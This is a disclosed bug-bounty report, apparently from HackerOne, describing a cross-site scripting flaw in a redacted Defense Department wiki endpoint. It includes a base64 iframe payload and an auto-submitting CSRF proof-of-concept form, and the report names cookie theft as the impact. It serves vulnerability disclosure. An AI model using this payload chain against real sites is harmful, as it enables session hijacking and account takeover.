HexBrain

U.S. Dept Of Defense · Report #3137212

Cross-Site Scripting via 'wikitext' parameter

Validstatus
mediumseverity
9upvotes
12 Jan 2026disclosed

How it was found

Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ███████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Vulnerable parameter: wikitext Payload: <iframe+src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnT2zDoSBtdW5kbyEnKTwvc2NyaXB0Pg=="></iframe>

References

███████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

You have to open this code on a page/site that is yours:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="███████" method="POST">
      <input type="hidden" name="doImports" value="false" />
      <input type="hidden" name="entryid" value="d00cc920&#45;e292&#45;4475&#45;8e23&#45;c6cbf69f5725" />
      <input type="hidden" name="wikitext" value="&#123;&#123;information&#32;details&#61;true&#125;&#125;&#32;&#123;&#123;tabletree&#32;&#32;message&#61;&quot;&quot;&#125;&#125;&lt;iframe&#32;src&#61;&quot;data&#58;text&#47;html&#59;base64&#44;PHNjcmlwdD5hbGVydCgnT2zDoSBtdW5kbyEnKTwvc2NyaXB0Pg&#61;&#61;&quot;&gt;&lt;&#47;iframe&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

And will appear the alert().

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original